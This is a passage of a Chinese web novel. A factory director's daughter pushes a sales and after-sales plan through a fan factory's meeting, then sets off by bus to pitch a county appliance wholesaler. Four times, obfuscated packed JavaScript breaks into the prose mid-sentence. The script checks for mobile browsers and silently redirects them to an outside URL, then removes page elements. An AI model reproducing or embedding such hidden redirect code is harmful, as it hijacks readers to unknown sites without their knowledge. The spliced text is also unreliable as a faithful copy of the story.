刘科长坐在一边，拿过计划书仔细看了看发问，“晚柠，按照你写的售后服务，一年质保，三年免费维修，终身保修，要想搞起来，每个月支出可不少。” 刚才工会主席提到的，维修师傅每周末去县里维修点服务，要算加班费，再加上往返路费、饭补等等，以及免费维修损耗的配件，细细算下来，不是一笔小数目。 目前他们厂的利润已经很薄了，再升级售后服务，额外增加人工成本、配件成本，会加重财务负担。 刘科长蹙眉，“这样有必要吗？” 许晚柠语气坚决，“当然有必要，您知道咱们厂的风扇，为什么最近销量不好？” 不是在说售后服务么，怎么扯到销量上去了？但不妨碍他点头。 身为科室领导，怎么能不知道产品销量下降的原因呢，他必须知道！ 她没有卖关子，继续说，“因为有竞品，其中以省城电器厂生产的荷花牌鸿运扇，和民营企业生产的长江牌落地扇为主。” 在场的除了李科长，其他人都露出恍然之色，他们知道有竞品，但没她知道的这么细。 许晚柠见状，说的更细致些，“众所周知，民营企业用料降级、成本低，价格便宜。光看价格，咱们不占优势。” “但是咱们厂产品质量好，知名度高，如何让更在意价格的顾客选择我们，这就需要我们增加品牌附加价值，比如更完善的售后服务。” 刘科长懂了，“那荷花牌呢，它可比咱们产品贵多了，怎么也卖不过它？” 许晚柠接过话，“您说的没错，明明咱们厂最新款的鸿运扇比荷花牌便宜15块钱，功能、外观、质量，半点不差，可为什么销量却比荷花牌低了百分之三十。” “我们经过调查发现，供销大厦、百货大楼主推荷花牌风扇，哪怕顾客想要咱们厂的风扇，销售员也会想办法诱导他们买荷花牌。” “她说的是真的吗？”郑副厂长看向李科长，眼神问询。 销售这一块一直都是李科长负责，供销大厦和百货大楼是销售风扇的主力，如果这两家都不推他们厂的风扇，对他们来说，可不是个好消息。 李科长抹了把脸，“这事我知道，我在饭局上跟百货大楼经理套过话，荷花牌除了给经销商每台百分之五的返点，另外给售货员百分之三，所以最近他们力推。” 直接给售货员返点？ 梁科长想了想，“咱们不能给吗？” 李科长嗤笑一声，“供销大厦和百货大楼主要卖的是新款，新款咱们本来定价就低，目前咱们给他们的返点是百分之五，如果另给销售员返点，最少也要跟荷花牌持平吧？” 说到这，他看向刘科长，“咱们厂目前毛利率在25％左右，净利率5％还是6％？这种情况下，再额外给售货员最少百分之三的返点，咱们厂还挣钱吗？” 刘科长心算了一下，挣钱还是挣的，只不过利润更薄了。 这时李科长回过味来，看向许晚柠，“你是想通过提升售后服务，增加卖点。” 许晚柠点头，“没错，目前咱们厂给不起更多返点，那么只能从其他方面弥补。比如提升售后服务，增加核心竞争力。” 有点意思，李科长琢磨了一下，嘴硬道，“你这都处于理论阶段，真正实践起来麻烦的很。另外，没有足够的利润，哪个经销商肯当天结货款参加你这个活动？” 许晚柠毫不犹豫地说，“那就找能结的来！活动资金大部分由咱们厂承担，等活动搞起来，既能帮经销商清库存，又能盘活现金流，对于他们来说是送上门的买卖，我想不出他们用什么理由拒绝。” 李科长被她几句话怼回来，觉得没面子，扭头不吭声了。 许国盛见大家暂时消停了，抬手看了眼时间，十点半，会开了快一个小时，估摸着讨论得差不多了。 他轻咳一声，缓缓开口，“大家都收到消息了吧，隔壁啤酒厂昨天下午破产清算被卖掉了。” 他观察着众人神色，敲了敲桌子，“如果我们继续不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470277|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知变通、得过且过，焉知啤酒厂不是我们的前车之鉴？” 会议室里鸦雀无声。 许国盛沉默片刻，开口道，“你们还有没有其他意见？都表个态。” 闻言，刘科长第一个响应，“只要能收到货款，按时给大家发工资，不让工人们追着我屁股后面跑，我没意见。” 工会主席老神在在，“计划书对工人们有利，我没有反对的理由。” 梁科长正了正神色，“只要工资到位，我没意见，毕竟谁也不想跟个妇女主任似的，天天想法开导工人别闹事，对不对？” 郑副厂长没想到梁科长这个墙头草这次投了赞成票，四对二，他这一票扭转不了局势，索性顺势而为，“我没意见。” 李科长梗着脖子，“我还是不信有经销商能现款现结，我反对！” 许国盛肃容，“好，大家都发言完毕，现举手表决。” 他第一个举手，随后刘科长，工会主席，郑副厂长，梁科长一一举手。 许国盛瞅了李科长一眼，当场宣布，“本次会议主题，“厂家直惠，清仓大酬宾”活动计划，厂务会通过。我现在去请高书记过来，十分钟后，咱们直接开常务会继续讨论。” 许国盛起身，朝女儿招手，两人一起出去。 走廊里，许晚柠悄声问道，“爸，一会儿你们还要开会啊？”她还以为完事了呢。 许国盛目不斜视，轻声跟女儿解释，“当然，你以为通过一项营销计划很简单吗？厂里需要先召开厂务会，会议通过之后再开常务会，两项会议必须全部通过。” “这么麻烦？” 许晚柠小声嘀咕，要不是她爸力挺她，她的计划书连第一个会议都通不过，还谈什么解救厂子，做梦去吧。 许国盛见女儿蹙眉，心情难得有些轻快，“你以为这就结束了？厂里通过，我们还要写材料，向局里申请，领导们开会讨论给出意见。” “啊？还要送到局里审批，那完了。”许晚柠没想到一个营销计划，想要实施起来这么难？ 她可没有当局长的父亲给她兜底啊？ “这也是我一开始不看好的原因。” 许国盛叹了口气，见女儿一脸沮丧，以为她受到打击，像小时候那样，摸摸她的头，“这就丧气了？” “还好，”许晚柠摸摸下巴，也许她该想想PlanB，做最坏打算。 见女儿神情恢复正常，他拍拍她的肩，“这儿暂时没你的事了，你先回家歇着吧，这一两天肯定出不了结果。” 许晚柠惊讶，“爸，我不用参加常务会吗？” 他轻拍女儿后脑勺，“不用，再让你参加，你不得把人都给我得罪了？” “嘶！爸，您轻点。” 许晚柠摸摸后脑勺，目送父亲去了党委书记办公室，没一会儿许国盛和高书记一起走了出来，两人直奔会议室。 “困难重重啊！”简直太难了！ 这时旁边办公室门打开，张嘉林走出来，看到许晚柠一脸惊喜，“晚柠，你怎么在这？” 许晚柠神情自然，“我来厂里找我爸有点事。” 张嘉林没错过对方脸上一闪而逝的疲惫，目光关切，“是遇到什么难事了吗？要不跟我说说，也许我可以帮忙。” 许晚柠刚要拒绝，随即想到张嘉林虽然不用出去跑业务，但他在销售部门，没准真能帮上忙。 她向张嘉林招招手，小声道，“有没有能说话的地方？” “跟我来。” 12. 嘉林，帮个忙 “这地方确实够安静。” 许晚柠在杂物间转了一圈，看向他，“事先声明啊，我刚把你们李科长给得罪了，你要帮我，可是冒很大风险的，你先考虑清楚再决定帮不帮。” 张嘉林刚想说，我不怕，话到嘴边，他又咽了下去。不知为何，他总觉得这句话说出来显得他有点傻。 不过更令他好奇的是，“你怎么得罪我们科长的？” 许晚柠只好把事情的来龙去脉简单跟他说了说，反正不论计划能否通过，他早晚也会知道。 张嘉林眼睛微亮，一脸崇拜地看向她，“晚柠，你怎么想到的，这计划简直让我不知道说什么好！真的很棒！” “我也觉得很好。”她可是删删减减改了很久，才出的终稿，她容易吗？ 张嘉林眉眼一弯，“我能帮你做什么？” 许晚柠看他这副单纯样子，有些不忍心坑他，再次提醒，“你不怕得罪李科长啊？那可是你直系领导。” 在职场，他一个刚入职不到一年的新人，跟科长对着干，等着被穿小鞋吧。 “没事，反正昨天我跟你出去一天，他已经知道了，也不在乎多这么一桩，而且他也不敢动我。”最后他含糊了一句。 许晚柠挑眉，呦呵，怪不得这小子不怕呢，原来是有后台啊。她现在特别感谢她爸，还是许厂长有远见，请他帮忙找个人陪她去趟库房，直接给她找了个关系户。 既然如此，她就不客气了，“咱们厂除了像供销社、百货大楼这样不结货款，打欠条的经销商，应该也有愿意结账的吧？” 张嘉林表情略微有些不自然，轻咳一声，“当然有啊，你问这个干什么？” 还没等许晚柠解释，他反应过来，“哦，我懂了，你想联系这些经销商参加活动，对不对？” “没错！”许晚柠颔首，给予肯定。 张嘉林见她一脸期待，忍不住提醒，“晚柠，计划书不是还没通过吗？你不担心现在联系，最后做无用功吗？” 许晚柠实话实说，“一开始有点担心，之前我不知道一份营销计划书，而且是对厂里这么有利的计划，想要在国企单位通过，会这么难。” 不过没关系，她已经想好了B计划。 许晚柠看向他，直接说出自己的要求，“我需要一个知根知底，愿意现货现结，最好跟咱们厂有交情的县级经销商来托底。” 在她得罪李科长的情况下，如果没人帮忙，只靠自己，想要顺利实行计划，会增加许多不必要的麻烦，浪费很多时间。 当然，她也可以向厂长父亲求助，只是她是计划的制定者，遇到点小挫折就找家长，也太无能了。 听完之后，张嘉林瞬间想到了一个人，他有些犹豫，在看到对方期待的目光时，最终还是说了出来，“晚柠，我知道一个经销商应该符合你的要求，只不过，你要是直接联系他，科长肯定知道是我在帮你了。” 见他吞吞吐吐的，许晚柠猜测，“怎么，那人是你亲戚？” 张嘉林点头，“我可以给你联系方式和地址，但想要说服他，还要靠你自己。” “行，没问题。”她本来就没打算让张嘉林帮到底，只要帮她牵个线就成。 “对了，若是科长因此为难我，你可要替我撑腰啊？”他半真半假的装可怜。 许晚柠一眼看穿，“行，他要是敢欺负你，你告诉我，等他下班，我套他麻袋，狠狠揍他一顿。” “哈哈哈……” 张嘉林被她逗得哈哈大笑，眼泪都快出来了，“你可真行，亏你想的出来，你还真套他麻袋啊。” “你要是因为帮我受了委屈，我揍他一顿替你出气，怎么了？”许晚柠表情认真，挥手扬了扬拳头。 张嘉林心中感动，“行，那到时候你记得叫我，我负责套麻袋，你负责揍他。” “好啊！” - 张嘉林给她写了他亲戚的地址和电话，仔细交代几句，先一步下楼回办公室。 为了避嫌，许晚柠又在杂物间待了一会儿，这才出来。 她先去二楼厂长办公室看了看，她爸不在，估计还在开会扯皮。 她抬手看了眼时间，已经十一点多了，算了不等了，先去食堂吃饭，吃完再回来看一眼。 她刚要离开，发现走廊尽头会议室的门开了，厂里领导挨个走出来，互相寒暄几句，四散而去。 她爸和高书记正往她这个方向来。 许晚柠站在原地等了一会儿，见许国盛向她招手，她快步走过去，礼貌打招呼，“爸，高叔叔。” 高书记像个温厚和善的长辈，“晚柠啊，你写的计划书我看了，很不错。更难得的是，你写它的目的是为了帮咱们厂解决积压库存，增加现金流，保障单位正常运转。” “年轻人有想法、有冲劲，这是好事。高叔叔给你一句忠告，不论结果如何，不要太计较得失，能迈出这一步，你已经很优秀了。” 这是不太看好？ 许晚柠眸光一闪，脸上瞬间露出得体笑容，“我知道了，谢谢高叔叔，不论结果如何，我都会保持初心。” 高书记夸赞，“老许，你有一个好女儿啊。” 许国盛谦虚摆手，“好什么好，给咱们丢这么一个大难题，没骂她一顿都是轻的。” “骂？我看你舍不得。”高书记一眼看透许国盛女儿奴的本质。 “我在厂里得注意点形象，等晚上回家的，看我怎么说她。” 许国盛一边跟高书记寒暄，一边冲女儿轻轻摆了摆手。 许晚柠意会，靠边一站，等他们走远，轻呼一口气下楼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470278|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>- 华荣厂食堂。 许晚柠站在食堂门口，前面正在排队打饭。望着长长的队伍，她两眼一黑，瞬间有种扭头就走的冲动。而且，她发现一个很严重的问题，她没带饭盒，压根打不了饭。 算了，她还是出去吃吧。 她转身正准备离开，忽然听到前面传来一阵争吵声。 一个二十来岁的小伙子透过玻璃窗看到今日菜品，语气抱怨，“师傅，怎么今天全是素菜，土豆炖豆角，凉拌黄瓜，白菜炖豆腐，没有荤菜吗？” “没有，你吃不吃？不吃，下一个。”师傅不惯着他，饭勺敲了敲，无声催促。 小伙子不干了，“现在食堂伙食怎么越来越差，以前天天有荤菜，现在三天两头见不着荤腥，我们吃不饱，怎么干活？” 哪来的愣头青？ 师傅心中腹诽，想到领导交代，他耐着性子解释，“厂里现在困难，没钱买肉，有的吃就不错了，嫌食堂伙食不好，你可以出去吃。” 小伙子站在那不动，后面的人不乐意了，“你到底打不打饭，不打饭赶紧走，别占地儿。” 吃素怎么了，至少不花钱，没听说别的厂都要花钱才能吃食堂吗？虽然花的不多，但能免费吃，谁愿意花钱啊？ “我打！” 小伙子努力挤出一个讨好的笑容，“师傅，菜多给我来点，两个馒头。” “白面馒头限量一人一个，有窝头要不要？” “要！” 目睹这一场小风波，许晚柠对厂里的财务情况有了更深刻的了解，还真是处处都‘漏风’啊。 她心不在焉地离开食堂，向厂外走去。 这时，张嘉林拿着饭盒，和几个同事一起说说笑笑迎面而来，见到她，一脸惊喜，“晚……咳，许同志，你怎么在这？” 听到有人叫她，许晚柠猛地抬起头，看到是他，停下脚步寒暄，“我来食堂吃饭，没带饭盒，正打算出去吃。” 此时此刻，张嘉林特想说一句，他也没吃，可以陪她一起出去吃。可有同事在场，他必须克制，若两人走得太近，招来一些风言风语，对她名声不好。 他神情自然，笑着说，“厂门口往东大概一百多米，有好几家小饭馆，面食、家常菜做得都不错，你可以去那边看看。” “好，谢谢，再见。”许晚柠冲他点点头，大步离开。 待她走后，一位男同事单手搂住张嘉林肩膀，语气调侃，“大林子，跟厂长闺女出去一天，都混这么熟了？” 张嘉林甩开他的手，笑骂，“滚一边去，正常打招呼而已，你们别瞎想啊！” “不让我们瞎想也行，老实交代，你们昨天出去都干了点啥？” “无可奉告！” “你这小子，反了天了，兄弟们，给我削他！” 13. 嘿！又见面了 许晚柠按照张嘉林给她指的方向，走出厂子没多远，便看到几家相邻的小饭馆。 她随便进了一家，找了个空位坐下，环顾四周，这家店看着虽小，收拾得却很干净。十几平米的空间挤了七八张桌子，除了她这张空着，其余都坐满了人。 大部分人穿着工服，应该是附近厂子里的职工。她还看到好几个穿着华荣厂工服的工人，正坐着大口吃面。 她刚坐下没多久，老板上前招呼，“闺女，吃点啥？” 许晚柠看了眼桌上菜单，“一碗打卤面，谢谢。” “好嘞，现在正是饭点，稍等几分钟啊。” “好。” 饭馆角落摆着一台机身泛黄的落地扇，正左右摇摆呼呼地转着，送来一缕缕清凉的微风，抚平她一路走来的燥意。 没一会儿，一大碗打卤面端了上来，“闺女，你的面。” “谢谢，等一下，老板我向您打听个事。” “你问吧。” “附近哪有打电话的地方？”这里对她来说，既熟悉又有点陌生，她一时半会儿实在想不起来。 老板抬手一指，“出门左拐，往前走大概五十米，有个小卖部，那能打电话。” “好，谢谢啊。” “客气啥。” 得到想要的信息，许晚柠掰开一次性筷子，开始吃面。西红柿鸡蛋作卤裹上筋道的手擀面，她吃得头也不抬。 一大碗打卤面下肚，她成功吃撑了，抬手看了眼时间，十二点半，先去小卖部打个电话，看看张嘉林力荐的这位亲戚在不在。 “老板，结账！” “来了！” 一碗面花了一块二，比市中心便宜三毛钱，下次有机会试试这家的炸酱面。 许晚柠一出小饭馆，一股热浪迎面而来，令她有种退回去的冲动。只犹豫了一秒，她步伐坚定地进入太阳炙烤之下。 小卖部并不远，她走了大概一两分钟就到了。 “老板，我打个电话。” “本地两毛，长途一块。”老板穿着汗衫，吹着风扇，悠哉悠哉地报价。 “我打本地的。”许晚柠从包里取出笔记本，翻到号码那一页递给对方。 老板瞄了一眼，熟练拨号，通了之后话筒递给她。 “喂，您好，请问是四海家电吗？我找钱四海钱老板。” 此时，徐县四海家电批发门店内，钱四海坐在办公桌后算账，他眉头紧皱，时不时的叹气。 本来以为夏天一来，电风扇会热销，他进了不少货放在库房，没想到以往热销的款，今年反而卖不动了，再这样下去，这批货迟早砸手里。 细细一算，今年白干。 就在这时，他接到许晚柠电话，“我就是钱四海。” 电话那头传来一道温婉的女声，口齿伶俐地说明来意，“钱老板您好，我是张嘉林的朋友许晚柠，知道您在做家电批发，想和您谈一笔生意，不知您有没有兴趣？” “哦？什么生意？” 钱四海身体瞬间坐直，来了兴趣，没想到嘉林那小子居然还会给他介绍客户了，没白疼他。 许晚柠眼底都是笑意，“电话里说不方便，我们见面谈吧。我跟您确认一下地址，徐县批发市场108号门脸，对吗？” “对对对，是这里没错，你在公交站下车，往北走大概五百米就能看到批发市场的牌子，从东门进去右手边第三家就是。” “好，我在市区，过去大概需要一个多小时。” “没问题，下午我都在店里。” 许晚柠跟钱四海约好时间，挂了电话。 小卖部老板看了眼屏幕显示，三分四十二秒，“八毛钱。” 许晚柠掏钱的时候，老板调侃，“闺女在哪上班呢？这么小都会谈生意了？” 许晚柠递钱过去，笑容腼腆，“帮厂里跑业务的。” “哦，我知道了，销售员对不对。” “差不多，”许晚柠含糊过去。 迎着对方八卦的眼神，她赶紧转移话题，“老板，去徐县的车一般多久一趟。” “十几二十分钟吧，这个没准。” “这样啊，谢谢您。”许晚柠离开小卖部，去公交站牌下面等车。 华荣厂就在公交站牌斜对面，再往北五百多米，是保城市最大的啤酒厂。 她在会议上听父亲提及，啤酒厂昨天已经破产清算，被卖掉了。 如果不想华荣厂成为下一个，她必须更加努力！ - 下午一点，许晚柠站在公交站牌后面躲太阳，一会儿冒头看一眼。 这都过去十几分钟了，车怎么还没来？ 不远处，一辆私家车从北边开过来，许晚柠眯着眼睛看了一眼，有点熟悉，好像在哪见过。 没等她想起来，车已经开了过去。 这一刻，她无比想念自己的豪车，她现在要是有车，直接开车去徐县，哪用等车这么麻烦。 私家车上，谭斌坐在后排，打开窗户吹风，还不忘调侃一句，“云洲，屁股烫不烫？” 裴云洲没好气地说他，“回去赶紧考驾照。” “我不，夏天练车多热啊，等天凉快了再说。”谭斌心安理得地享受领导级别待遇，他可是有‘司机’的人呢！ 忽然他看到公交站牌后面冒出个小脑袋，差点吓一跳，仔细一看，那不是昨天那位呛口小辣椒吗？ “哎哎哎，停车。”谭斌急得不停地拍打驾驶座椅背，气得裴云洲想削他一顿。 “又怎么了？”裴云洲拿他没辙，在前面靠边停下。 “就咱们昨天见那女孩，我刚刚又看见她了，现在就在站牌后面藏着呢，赶紧掉头回去。”谭斌大力拍着椅背催促。 “回去干什么？你又不认识她。”裴云洲无奈。 “一回生二回熟，这都见三回了，这不是缘分是什么？再说了，我还不知道她叫什么呢？”谭斌振振有词，这次他非得知道对方名字不可。 以往，裴云洲绝对不会理会好友这样的无理要求，今天不知道为什么，他鬼使神差地掉头，停在公交站牌下。 许晚柠听到动静，再次冒头，看到一张熟悉的脸正冲她笑，“你好，又见面了。” 原来是他啊，怪不得她觉得车有点眼熟，昨天刚见过，能不熟吗？ “有事？”许晚柠半边身子躲在阴凉里，表情不耐。 谭斌一噎，随即像是没事人一样，熟络开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470279|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口，“你不是华荣厂的吗，这个时间不在厂里上班，打算去哪？顺路的话，我们捎你一段。” 这人有点自来熟，看着像是没坏心的，不过再如何，她也不会上一个陌生人的车，“应该不顺路，我去北边办事。” 她刚拒绝，随即反应过来，他怎么知道她是华荣厂的？ 许晚柠眼神犀利地看向他，“那天供销大厦三楼，你也在？” 虽是疑问，语气却笃定。 反应好快，坐在驾驶位充当背景板的裴云洲不知为何，心情有些愉悦，手指无意识地敲打方向盘。 谭斌毫无所觉，“是啊，当时我和朋友碰巧在附近，对了，你去北边干什么啊？” 我跟你很熟么？打听这么清楚？许晚柠眼神不耐，“你还有事么？” “没，没了。”好凶啊。 谭斌颇有些丧气，整个人都蔫了，“我还不知道你名字呢。” 许晚柠看着他，不知为何觉得有些可怜，一个名字而已，告诉他也没什么，“许晚柠。” “什么？”谭斌眼睛微亮，她刚刚是说了她的名字么，她叫许婉宁？ 是温婉的婉，宁静的宁吗？名字挺好听，就是跟她本人不太搭啊。 “我叫谭，”谭斌刚想报自己名字，话说到一半，只见许晚柠噌地从站牌后面跑出来，来到路边疯狂招手。 谭斌目瞪口呆！ 对方在他心目中一直高高在上，宛若清冷女神的形象。女神突然变得接地气，着实令人匪夷所思。 这时，一辆去往徐县的中巴车晃晃悠悠地从南边开了过来。 没一会儿，车停下，她快步上车。 中巴车缓慢向北驶去。 “原来真的是去北边。” 谭斌喃喃自语，又有些激动，“好在这次终于知道她名字了。” 裴云洲目光落在中巴车后窗玻璃上，上面写着“保城—徐县”，她去徐县干什么？ “云洲，你看什么呢？快开车，我都快饿死了。”谭斌瘫在后座上，轻声抱怨。 “还真把我当司机了？”裴云洲随手拿了个东西，往后一扔。 谭斌连忙接住，连声讨饶，“我错了，裴厂长，您大人有大量，别跟我一般见识。” 裴云洲启动车子，在前方掉头，边开车边说，“别叫我厂长，我说过，我不参与实际经营和管理，只负责经营方向把控。” “懂，那你在厂里总得担个职务吧？”花一百多万买下厂子，都交给他，他不小心玩废了怎么办？ “这个回头再说。”裴云洲往市中心开，“我在保城不会待太久，假期结束还要回京市，开学之后，我会很忙。” “知道了，裴教授！” 裴云洲更正，“是讲师，不是教授。” “早晚的事。” 裴云洲懒得跟他费口舌，“遇到解决不了的事可以给我打电话。”保城离京市很近，开车大概要四个多小时。 谭斌有气无力地应了一声，“知道了。” 好友在的时候，他可以躺平，啥也不干，他一走，什么事都压在他身上，想想都让人绝望。 算了，想那么多干嘛，趁他还在，事情都丢给他，他先轻松一阵子再说。 14. 我来想办法！ 去往徐县的中巴车上座无缺席，过道里挤满了乘客。 许晚柠一上来，发现压根没有她落脚的地方。 “到哪下？” “汽车站。” “一块五。”售票员在票本上撕拉一声，撕下一张票儿递给她。 许晚柠赶紧拿钱。 售票员收好钱，眼神催促，“别傻站着，赶紧找个地方坐下。” 她也想找，关键是没地儿啊。 这时，前排座位上有个老太太，向她招手，“闺女你来，坐这。” 许晚柠顺着对方指的位置看去，那是发动机盖，上面堆满了各种行李。 老太太从上面取下一个箱子，放到脚边，“坐这吧，到徐县还远着呢。” “好，谢谢大娘。”许晚柠抬腿迈过去，扶着椅背小心翼翼地坐下。 她双腿并拢，军绿色挎包放在身前，拘谨又乖巧。 头发半白的老太太眉眼带笑，“去徐县走亲戚？” “对，去叔叔家。”朋友的亲戚，叫叔叔应该没差。 “闺女多大了？上班没有？” “20了，还没正式工作。” 老太太比较热情，许晚柠招架不住，索性反问，“大娘去徐县也是走亲戚？” “不走亲戚，我回家，我闺女嫁到市里，前两天刚生了孩子，我过来看看。”老太太想起刚出生的外孙，心情好得不得了。 “七斤八两是个男娃，”老太太眉飞色舞，“听我闺女说，孩子刚出生眼睛就睁开了，脸蛋胖乎乎的，小腿一蹬可有劲儿。” 许晚柠不知道该怎么接，坐在那静静的听。 唠叨几句，老太太盯着她看了半晌，忽然问，“闺女有对象了吗？” 不是在说她外孙么，怎么突然拐到她身上来了？ 许晚柠尴尬一笑，“还没，我还小，不着急找对象。” 老太太一拍大腿，“话可不能这么说，有合适的，还是要趁早下手，晚点那都是别人挑剩下的。” 许晚柠能怎么办，只好含糊应一声。 老太太欲言又止，本来看女孩身材高挑，长得也好看，想给她介绍个对象，不过看样子小姑娘大概率是市里的，瞧着穿得也不差，男方家庭条件差了点，估计人父母不愿意，还是算了吧。 老太太终于消停了，她心里暗暗松了口气。 午后，中巴车行驶在国道上，许晚柠被车内混杂的怪味熏得昏昏欲睡。 不知过了多久，汽车下了国道，来到县城外环路上，道路崎岖不平，车身随之晃悠起来。 许晚柠睡得迷迷糊糊的，忽然司机一个急刹，她身体前倾，瞬间惊醒。 要不是她一直抓着旁边的座椅扶手，非摔出去不可。 老太太看着她，目光担忧，“闺女没事吧？” 许晚柠摇头，“没事。” 老太太提醒，“你刚才睡得挺好，我还说一会儿叫你呢，汽车站马上到了。” “我知道了，谢谢大娘。”许晚柠稳定身形，目视前方。 几分钟后，中巴车抵达汽车站，乘客陆续下车。 许晚柠见人多，等他们下得差不多了，这才开始动。 老太太行李不算多，有个纸箱子，还有一个布兜，装得鼓鼓囊囊的。 许晚柠念及对方之前的照顾，投桃报李，主动开口，“大娘，我帮您拿下去吧。” “好，谢谢你啊闺女。”老太太也没客气。 许晚柠抱起箱子下车，放在地上，伸手去扶老太太。 “我没事，别看我六十多了，有力气着呢。” 等老太太下了车，许晚柠抱着箱子，和她一起往外走，“大娘，您离家远不远？”这箱子里不知道装的什么，还挺沉的。 “不算远，我闺女应该给家里打电话了，有人来接。” 话音刚落，一个三十来岁的妇女站在不远处招手，随后大步走了过来。 老太太扭头跟许晚柠说，“我儿媳妇来了，闺女你把东西放下吧，麻烦你了啊。” “大娘您客气啥，要不是您帮忙，我估计得站一路。” 许晚柠放下箱子，冲大娘道别。 老太太赶紧招呼，“哎，闺女，别急着走啊，我这箱子里有不少水果，给你带上几个路上吃。” “不用了，留着您和家人吃吧，大娘再见。”许晚柠摆摆手，笑着跑远了。 “这孩子。”老太太嘴上埋怨，眼里笑意盈盈。 这时中年妇女终于赶到，盯着许晚柠背影看了好几眼，“妈，那人谁啊，您认识？” “车上认识的，挺好一小姑娘。”老太太笑呵呵解释，“你怎么来的？” “雇了辆三蹦子。”妇女双手抱起箱子，蹙眉，“妈，您这都装的什么？”怎么这么沉。 “佳慧婆婆让人装的，说是一些高档水果什么的，非要我带上。” “这也太重了，早知道让志刚安排车去接您。” 老太太语气严肃，“志刚是单位领导，怎么能公车私用？再说佳慧婆婆周到，特意安排人送我到车上，又给你们打了电话来接。我这一路顺当，没遭罪。” 妇女见婆婆面色不愉，这才不说了。 两人来到三蹦子前，她先放好箱子，随后扶婆婆上车。 老太太坐在车上，心里叹了口气。当初志刚非要娶她，她本来不大愿意，觉得她初中毕业，学历低了点，碍于儿子实在喜欢，这才同意了。 如今儿媳妇好歹是个供销社小领导，怎么嘴上没个把门呢？安排公车接家人是能随便放在嘴上说的吗？ 知道她是好心，可单位的车哪能随便安排，她若嘴上不牢，早晚捅娄子。 不行，晚上等儿子回来，她得提醒提醒他，让他管好自己媳妇。志刚能走到今天不容易，她绝不允许家里人拖后腿！ - 许晚柠离开汽车站，顶着大太阳，往北走了大概五分钟，终于看到批发市场的牌子。 她从东门进去，环顾左右，最后来到四海家电批发店门口。 屋里有人，她抬手敲了敲玻璃门，“钱老板在吗？” 钱四海正坐在柜台后面打盹，听到有人喊他，立刻醒了，抬眼瞧见站在门口的女孩，他有些不确定，“我是钱四海，你是？” 许晚柠笑着走进来，自我介绍，“我是许晚柠，一个多小时前跟您通过电话。” 钱四海笑呵呵的，“嘉林朋友对吧，快坐。” 等他招呼许晚柠坐下，心里还在犯嘀咕。接电话的时候，他听出来对方是个女的，跟嘉林认识，没准和外甥差不多大。 可他没想到对方这么年轻，还说要跟他谈生意，靠谱吗？ 不过对方既然跟外甥认识，他怎么也得给三分薄面，遂热情寒暄，问她一路走过来累不累，地方好不好找之类的。 “不累，挺好找的。” 钱四海心细，见许晚柠脸蛋通红，额头上有细密的汗珠，忙道，“闺女，你先坐这吹会风扇，叔叔出去一下，马上回来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470280|201440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “好。”一路走过来，她有点热，正好坐下歇歇，顺便想想一会儿该怎么跟他开口。 钱四海出去没两分钟就回来了，手里拿着一瓶汽水，当着她的面打开，往里面放了一根吸管。 “闺女，一路过来渴了吧，叔叔请你喝汽水。” 看着递过来的橘子汽水，许晚柠心中感动，连忙站起来接过，“谢谢钱叔，麻烦您特意跑一趟。” 钱四海摆手，“你跟嘉林是朋友，就是我的晚辈，长辈照顾晚辈不是应该的？” 许晚柠暗叹，钱四海不愧是做生意的，说话敞亮，人也热情。 汽水是刚从冰柜里拿出来的，有些冰，她小喝几口解渴。 钱四海坐在对面，不动声色的套话，“闺女多大了，跟我们嘉林怎么认识的？” 许晚柠放下汽水，半真半假地回答，“钱叔，我是省城大学大三学生，这不放暑假了吗，昨天我去厂里找我爸，想在厂里逛逛，我爸觉得嘉林哥专业，所以让他带我看了看。” 见对方欲言又止，许晚柠会意，“忘了说了，我爸是华荣厂厂长许国盛，您应该知道吧？” “知道知道，原来你是许厂长的闺女啊。” 一听对方是省城大学的大学生，还是厂长闺女，钱四海更热情了，同时心里纳闷，厂长闺女找他谈什么生意，不会是想让他再进一批货吧？这可不行，他现在库房压了一大批货，实在进不动了。 